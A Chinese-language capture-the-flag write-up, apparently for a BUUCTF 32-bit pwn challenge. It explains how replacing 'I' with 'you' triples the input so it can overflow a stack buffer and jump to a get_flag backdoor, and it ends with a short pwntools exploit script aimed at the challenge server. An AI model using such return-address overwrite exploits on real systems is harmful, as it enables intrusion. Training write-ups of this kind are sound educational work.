先检查一下开了什么保护机制 打开32位ida看看 这个是啥鸭,像这种c++的代码最难看了,只能一个函数一个函数的百度 我在这边简述一下,这些函数一大串就是实现了把s数组中的I整体替换成了you,其他的就没了,然后我们先去找找有没有后门函数之类的 找到了一个叫做get_flag的函数,打开一看,确实是得到flag的函数,这个就是我们要的后门函数了,也就是说我们接下来就是看看有没有栈溢出之类的可以修改返回地址的漏洞了,仔细看看,s数组距离ebp差了0x3c,要能够修改返回地址最少也要0x44,可是我们读入只能读入0x20大小,很明显,不够大,但是我们要注意我刚刚说过,I变成you,这样不就瞬间变成三倍,那么就是这么搞了,也就是我们得填充的大小是0x40,不能用3整除,所以我们采用20个I和4个a,这样20*3+4刚好就是0x40,然后接着我们的返回地址,然后计算一下只需要20+4+4=0x1c的读入绰绰有余
from pwn import* #p=process('./pwn1') p=remote('node4.buuoj.cn',26474) payload=b'I'*20+b'a'*4+p32(0x8048f0d) p.sendline(payload) p.interactive()